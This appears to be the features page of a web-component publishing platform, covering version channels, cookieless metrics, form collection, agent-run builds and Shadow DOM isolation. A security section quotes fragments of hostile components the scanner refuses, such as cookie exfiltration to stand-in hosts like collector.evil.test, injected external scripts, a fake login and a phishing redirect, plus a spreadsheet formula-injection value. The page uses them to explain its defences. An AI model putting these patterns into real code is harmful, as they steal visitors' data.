taggor

Features

What Taggor does

Each capability of Taggor, with the page of the docs that explains it.

01

Publish once, promote once. It shows up on each of your sites.

One script tag per site, pasted once. Each site keeps its own words and colors. Publishing creates a version, and the sites that use a channel follow it when the version is promoted there.

Your component<contact-form />
  • my-bakery.example

    Bakeryruns v7v8

  • my-shop.example

    Shopruns v7v8

  • my-clinic.example

    Clinicruns v7v8

  • my-app.example

    Software productruns v7v8

4 of 4 updated

Example with fictional sites. Simulation: nothing leaves this page

See the platforms page. The exact snippet for each framework and platform, with its documented limits, is on the platforms page.

02

See what your components do.

Impressions, events you track and submissions by site, country and device, counted without cookies or a visitor identifier. In the portal, in the terminal and for your agent.

Metrics

How your components are doing across the workspace's sites.

Period
  • Impressions1,492Forgeable+10.5% against the previous period
  • Custom events176Forgeable+8% against the previous period
  • Submissions70Counted+20.7% against the previous period
  • Submission rate4.7%Forgeable+9.2% against the previous period
Impressions over timeThis periodPrevious period

Where it rendered

  1. United States47732%
  2. Brazil17912%
  3. Canada14910%
  4. Mexico1047%
  5. Other countries39%

Devices

  • Mobile58%
  • Desktop34%
  • Tablet6%
  • Other2%
  • Impressions9,949Forgeable+3.5% against the previous period
  • Custom events1,174Forgeable+0.9% against the previous period
  • Submissions468Counted+13.3% against the previous period
  • Submission rate4.7%Forgeable+9.4% against the previous period
Impressions over timeThis periodPrevious period

Where it rendered

  1. United States3,18432%
  2. Brazil1,19412%
  3. Canada99510%
  4. Mexico6967%
  5. Other countries39%

Devices

  • Mobile58%
  • Desktop34%
  • Tablet6%
  • Other2%
  • Impressions41,457Forgeable+10.6% against the previous period
  • Custom events4,892Forgeable+7.9% against the previous period
  • Submissions1,948Counted+20.9% against the previous period
  • Submission rate4.7%Forgeable+9.3% against the previous period
Impressions over timeThis periodPrevious period

Where it rendered

  1. United States13,26632%
  2. Brazil4,97512%
  3. Canada4,14610%
  4. Mexico2,9027%
  5. Other countries39%

Devices

  • Mobile58%
  • Desktop34%
  • Tablet6%
  • Other2%
taggor metrics --group-by country
production, last 7 days, per day. Not real time; browser events are reported by the visitor's browser.
Impressions: 9,949 (component_events, forgeable)
Custom events: 1,174 (component_events, forgeable)
Submissions: 468 (submissions, counted)
Submission rate: 4.7% (component_events, forgeable)

The same numbers, one line per metric, each with its source and how far to trust it. Add --json and your agent reads them.

  • History for your plan's termDaily totals are kept past the recent window, for as long as your plan says.
  • Export when you wantDownload the numbers as CSV or NDJSON, or read them from the API.
  • No data is null, not zeroA metric with nothing behind it comes back empty, so a gap is not read as a bad day.

Illustrative numbers

Each number says how far to trust it.

A submission is a row Taggor stored, so it is counted. What a browser reports can be inflated by anyone who knows a site key, so it is labelled forgeable and no bill rests on it.

A privacy signal is honored by default.

Honors Global Privacy Control and Do Not Track by default for component metrics: when the signal is present, we record only a delivery and render count. You can change this per site. A country is two letters and a device is one of four classes; the IP address and user agent are read in memory and are not written to metrics records.

An error rate for each version.

When a component throws in a visitor's browser, the runtime reports it. Each version gets its errors divided by its mounts, a signal to read before you promote.

03

Visitors fill it in. It lands in your portal.

Submissions are stored for you. By default one that looks automated is kept and marked suspect; a site can instead choose to answer it without storing it (taggor sites protection set --suspects drop), and the visitor gets the same reply either way. Submissions refused while a Free workspace is at its limit are not stored. Filter, export and delete whenever you want. How spam marks work

Component that collects

Talk to us

Form dataCollection: requests

Suspects
requests
ReceivednameemailmessageSuspect
14:03Bot Examplebot@example.net=HYPERLINK("https://example.invalid/win","Claim your prize")Suspect
14:02Ada Exampleada@example.com-
13:42Grace Samplegrace@example.orgDo you ship on Fridays?
13:22Alan Testalan@example.netIs there a dark theme?

The other fields are in the submission's details and in the file.

Export CSVThe file holds what the table filters show.

Simulation: nothing leaves this page

A bot gets in. You see it marked.

A hidden field no person sees marks the bot's submission as suspect. By default it is kept, labelled and filterable.

A spreadsheet that does not run what visitors type

Export builds the file from what the table shows. A cell that starts like a formula gets a quote in front, so opening the file does not run it.

In the form
=HYPERLINK("https://example.invalid/win","Claim your prize")
In the file
'=HYPERLINK("https://example.invalid/win","Claim your prize")

What we do not store

We don't write the visitor's IP address or full user agent to metrics or to form submissions. We do record the page's domain. Our network provider processes IP addresses to deliver and protect traffic.

  • IP address
  • User agent
  • Referrer
  • Page
  • Country
  • Browser family

04

Your agent does the work. Taggor checks every step.

Your agent fixes its own build errors. Its code is treated as untrusted and scanned on every publish, and on your page each component renders in its own Shadow DOM (its styles stay apart) behind an error boundary (a component that throws does not take the page down).

It checks its own work

Swipe sideways through the steps

You paste one prompt

Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.

It installs the rules

taggor init --agent claudeCreated the project in ~/.taggor/projects/rich-note with the component rich-note.  wrote taggor.json  wrote components/rich-note/src/index.tsxAgent files (bundle 0.10.1) for claude:  wrote .claude/skills/taggor/SKILL.md  wrote CLAUDE.md

The check says no

taggor checkfailed: rich-note (1 error(s), 0 warning(s))components/rich-note/src/index.tsx:15:36 error UNSAFE_HTML_SINK: a string written as HTML can run script (rule html-sink): innerHTML with a string that is not a fixed literal          if (box.current) box.current.innerHTML = message;  hint: Render the content with JSX ({message} is escaped), or set textContent; for formatting, accept structured data (a list of paragraphs, bold ranges) instead of HTML.1 of 1 component(s) would fail the publication gates (1 error(s)).

It reads the hint and fixes it

agent: the hint says to render with JSX. Editing src/index.tsx.--- src/index.tsx- 13     const box = useRef<HTMLDivElement>(null);- 14     useEffect(() => {- 15       if (box.current) box.current.innerHTML = message;- 16     }, [message]);- 17     return <div ref={box} />;+    return <div>{message}</div>;

The check says yes

taggor checkok: rich-note passed 3 gate(s)1 component(s) checked, all publishable.

It publishes to staging

taggor publishUploaded. Build bld_….Build bld_…: queuedBuild bld_…: buildingBuild bld_…: checkingBuild bld_…: succeeded  preview: https://<preview host>/p/<token>

The build, stage by stage

taggor logs rich-note --followBuild bld_… (newest version of rich-note)[queued] passed[resolving] passed[compiling] passed[gate:typecheck] passed[gate:size] passed[gate:security] passed[build] succeeded (0 errors, 0 warnings)
Replay of a real run; output shortened

Refused before it ships

17 components written to attack the host page or its visitors. Each one is refused with its code, the file and the line.

  • Refused: SECRET_IN_SOURCE

    A secret is stopped before it leaves your machine

    .env · src/config.ts

    taggor publishLeft out .env: it looks like a credential and is never packaged.src/config.ts:1:24 error SECRET_IN_SOURCE: a GitHub token (ghp_…) is in the component's source; the bundle is public, so the build refuses it1 secret(s) found in the component's files (values are masked). Nothing was sent: the bundle is public. Remove them and rotate the keys.

    A .env file, a key file or a token written in the code is stopped by the CLI before anything is sent, and the value is masked in the message.

  • Refused: CREDENTIAL_CAPTURE

    Component asks for credentials

    src/index.tsx:31

          <form onSubmit={onSubmit}>        <p>Your session has expired. Sign in with Google to continue.</p>        <input name="email" type="email" autocomplete="username" />

    A look-alike login that stores the visitor's password through a Taggor collection.

  • Refused: MINING_PATTERN

    Crypto mining pattern

    src/index.tsx:8

     const WORKER_SOURCE = `let nonce = 0;

    A Blob worker that hashes in a loop and talks Stratum to a mining pool over a WebSocket.

  • Refused: UNDECLARED_NETWORK

    Network request to an undeclared origin

    src/index.tsx:13

        useEffect(() => {      void fetch("https://collector.evil.test/c", {        method: "POST",

    Reads document.cookie and posts it to an undeclared origin.

  • Refused: UNSAFE_DOCUMENT_WRITE

    document.write in the component

    src/index.tsx:14

          onClick={() => {        document.open();        document.write(

    document.write on a click, replacing the host page with a card form.

  • Refused: MANIFEST_EXTRACTION_FAILED

    Component module failed to load

    src/index.tsx:5

     const greeting = eval('"hello"') as string; 

    eval at the top level of the module: the locked-down manifest extraction (no code generation from strings) already fails it.

  • Refused: UNSAFE_EVAL

    eval in the component

    src/index.tsx:18

              const input = (event.currentTarget as HTMLFormElement).elements.namedItem("expr");          setResult(String(eval((input as HTMLInputElement).value)));        }}

    eval on what the visitor types, inside an event handler.

  • Refused: UNSAFE_SCRIPT_ELEMENT

    Component creates a script element

    src/index.tsx:13

        useEffect(() => {      const script = document.createElement("script");      script.src = "https://cdn.evil.test/payload.js";

    Appends an external <script> to the host page's head, outside the shadow root.

  • Refused: UNDECLARED_NETWORK

    Network request to an undeclared origin

    src/index.tsx:14

          const pixel = new Image();      pixel.src = "https://pixel.example.net/p.gif?v=" + encodeURIComponent(value);    };

    Sends what the visitor types in the URL of a hidden image, to an undeclared origin.

  • Refused: UNSAFE_HTML_SINK

    HTML written from a string

    src/index.tsx:15

        useEffect(() => {      if (box.current) box.current.innerHTML = message;    }, [message]);

    Writes a string prop (an attribute of the page) through innerHTML.

  • Refused: UNSAFE_FUNCTION_CONSTRUCTOR

    Function constructor in the component

    src/index.tsx:12

      render: ({ formula }) => {    const compute = new Function(`return (${formula});`) as () => unknown;    return <output>{String(compute())}</output>;

    new Function over a string prop, so the page's attribute becomes code.

  • Refused: OBFUSCATED_CODE

    Obfuscated code

    src/index.tsx:15

        useEffect(() => {      const code = atob(atob(PAYLOAD));      const probe = atob("ZmV0Y2goJ2h0dHBzOi8vYy5leGFtcGxlLm5ldCcp");

    Hides its payload in base64 inside base64, base64 of code and a name spelled in character codes.

  • Refused: UNSAFE_PREACT_INTERNALS

    Component accesses Preact internals

    src/index.tsx:7

      const [done] = useState(false);  for (const hook of this.__H.__) {    const dispatch = hook.__?.[1];

    Drives hook state through Preact's mangled internals instead of the hooks' own API.

  • Refused: UNSAFE_STRING_TIMER

    Timer given a string

    src/index.tsx:14

        useEffect(() => {      const run = setTimeout as unknown as (code: string, ms: number) => number;      run(action, 1000);

    setTimeout with a string built from a prop, an eval in disguise.

  • Refused: ASSET_SVG_UNSAFE

    SVG with active content

    src/badge.svg:1

    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10" onload="fetch('https://evil.example/c?' + document.cookie)">  <script>top.location = "https://evil.example/phish";</script>

    An SVG asset with a <script> and an onload handler: refused with ASSET_SVG_UNSAFE at each line, nothing published.

  • Refused: UNSAFE_TAGGOR_GLOBAL

    Component writes the taggor global

    src/index.tsx:15

        const original = host.taggor;    Object.defineProperty(window, "taggor", {      configurable: true,

    Replaces the host page's taggor API to read the other components' events.

  • Refused: UNDECLARED_NETWORK

    Network request to an undeclared origin

    src/index.tsx:14

          const timer = setTimeout(() => {        (window.top ?? window).location.href = "https://login.phish.test/account";      }, 3000);

    Navigates the top window to a look-alike login page after mounting.

  • Refused: UNDECLARED_NETWORK

    Network request to an undeclared origin

    src/index.tsx:15

          void fetch("https://api.store.example.com/quote?q=" + encodeURIComponent(value));      void fetch("https://collector.example.net/keys", { method: "POST", body: value });    };

    Declares the store's API and also sends what the visitor types to an undeclared origin.

The diagnostics the builder prints for each refused component

It knows where to stop

What only a person can do, it hands back

Asked to create an API key, the agent gets a refusal that names the exact portal page and the steps for you. It does not retry and it does not look for a way around.

agent: I need an API key.403 human_action_requiredThis is for a person, not an agent: Create an API key or token. Do not retry it. Tell the person to open /w/<workspace-slug>/settings/api-keys in the portal (<workspace-slug> is the workspace slug) and:  1. Sign in to the portal and open the workspace.  2. Open Settings, then API keys.  3. Choose Create key, name it and pick the smallest set of scopes it needs.  4. Copy the key once, when it is shown, into the tool that needs it; do not paste it into a chat.

What the CLI relays to the agent, from the contract's catalog

Docs the agent can read

Every docs page also exists as Markdown at the same address with .md, so an agent reads the page without the page around it.

GET /docs/quickstart.md# CLI quickstartFrom signing in to a component showing on a test page of your own and then on your live website, with the taggor CLI.## Before you start## 1. Get the CLI## 2. Sign in## 3. Create the first component

The head of a real docs page, as Markdown

Try to break the page

The Shadow DOM keeps styles apart, and the error boundary keeps a component that throws from stopping the rest of your page. Try it, then read what each layer does.

An example page

Its own text, its own button, three components.

pressed 0 times

click-counterCounterCounts, with its own button.+
click-counterthe content inside the tagNo clicks yet, as the page wrote it.
promo-bannerPromo bannerA line and a link.→
promo-bannerthe content inside the tagThe page's own line of text.
faq-accordionQuestionsOpens and closes.▾
faq-accordionthe content inside the tagThe questions as plain text.

Errors on the page: 0

Press a button. The page counts its own errors.

One component threw. Only that one fell back to the content you wrote inside its tag; the other two kept running.

The page's buttons turned yellow with !important. The components kept their own look: the page's CSS does not cross the Shadow DOM.

With Taggor off, each tag shows the content inside it, and the page stays clickable.

A replay of the failure cases A bundle that throws, the CDN down, and a page stylesheet that fights the components.

  • Its own Shadow DOMThe component renders in its own shadow root. A hostile page stylesheet does not restyle it, and it does not restyle the page, in Chromium, Firefox and WebKit.
  • An error boundaryA component that throws is contained. The page keeps working and the fallback content you wrote stays visible.
  • Built in isolationEvery publish goes through automated checks, and your agent's source is built in a sandboxed container, apart from your machine.
  • Versions that are not editedLocked: we never edit a published version. We may disable it under the Acceptable Use Policy. A bad release is a pointer you move back.
  • A small async loader, on its own domainThe loader loads asynchronously, so it does not block the page; it has a hard size ceiling, checked before every Taggor release, and is served from a domain apart from the brand's. If it cannot be reached, each tag shows the fallback content inside it.
  • No cookies from the loader, and you decide the dataThe Taggor loader and runtime set no cookies and use no browser storage. Components you build can, if you write them to. That choice, and the notices it may require, are yours. What a component collects, and what you tell your visitors about it, is your decision as the controller.

05

On the page before the script.

On a site with a server, your component arrives in the page's first HTML. The browser shows it before any script runs, and the page below it is not pushed down when the script arrives.

Moment of the page load
Snippet onlyWith the snippet only

Empty until the script runs.The component appears now, and the page below it jumps down.

With server renderingFor sites with a server

Already there, styled, before a single script has run.The same elements become interactive, and the page below is not pushed down.

Illustration: nothing leaves this page

One line changes, in your server's template

Today

<faq-accordion headline="Questions"></faq-accordion>

With server rendering

${await taggor.render("faq-accordion", { headline: "Questions" })}

The site's script tag stays as it is, and the helper is set up once with a server key kept in your server's environment. The gain is on the page load: when a link swaps the page without a reload, the component renders in the browser as it does with the snippet alone.

Seen before the script

The component's HTML and styles come in the first response, so the browser shows it without running a script. The content is in the HTML your server sends.

Taken over, not redrawn

When the script arrives, the component becomes interactive on the elements already on screen. This holds in Chromium, Firefox and WebKit.

If Taggor is slow or down, the page works as it does with the snippet alone

The helper waits a short time. On a failure it returns the plain tag, and the page behaves as it does with the snippet alone.

Every plan has an allowance of server renders.

06

Everything it has

The numbers first, then the small things that are easy to miss.

Illustrative demo.

07

Capabilities

Fig. 1 · Capabilities, each with the page that explains it
CapabilityWhat it doesRead more
SDKYour agent writes a component in TypeScript with a typed contract: props, events, slots and the data it may collect.Component contract
Check on your machineThe publish checks (types, size, security) run locally, with no network, before anything is sent.CLI quickstart
StylesCSS, SCSS and Tailwind (configured in CSS only), scoped to the component.Component contract
AccessibilityKeyboard and screen-reader behavior inside the Shadow DOM, including form fields, is built into the templates.Component contract
Build in a sandboxSource is built in an isolated container, apart from your machine.CLI quickstart
Immutable versionsEach publish is a new version addressed by its content. Locked: we never edit a published version, a change is a new version. We may disable a version under the Acceptable Use Policy.CLI quickstart
ChannelsA channel (staging, production) points at one version. When you promote a version, the channel points at it and the sites that use the channel follow.CLI quickstart
RollbackPoint a channel back at the previous version from the CLI or the portal. Nothing is rebuilt.CLI quickstart
Private previewEach build can be seen at a private, temporary link before it reaches a channel.CLI quickstart
One snippet per siteOne async script tag per site loads a small loader that fetches only the components that site uses.Install the snippet
Allowed domainsA site lists the domains where its components mount. It stops a copied snippet from working elsewhere; it is not access control.Allowed domains
Values per siteThe same component can carry different default values on each site, set without a new version.Forms and data
Collected dataA component declares collections in its manifest; submissions are validated against the schema, checked for spam and stored for you.Forms and data
ExportSubmissions are listed in the portal and exported as CSV or NDJSON from the portal and the CLI.Forms and data
Copy for your own hostDownload a copy of the built components from the portal and serve it from your own host, as a fallback or to take them with you.Host the files yourself
PortalSites, components, versions, previews, props and promote or rollback, without the command line.CLI quickstart
Made for agentsllms.txt, an agent setup page, and a skill for coding agents.Set up your coding agent
Hosts and browsersComponents run on plain HTML, a strict Content-Security-Policy, Next.js, a React single-page app and WordPress, in Chromium, Firefox and WebKit.Platform guides

08

Try it with your agent

Paste the prompt into your coding agent, or start from the quickstart.

One-line prompt for your agent

Fetch https://taggor.dev/agent-setup/prompt.md and follow its instructions to set me up for Taggor. Ask me before you sign in, create an account, accept terms, pay for anything or type a secret.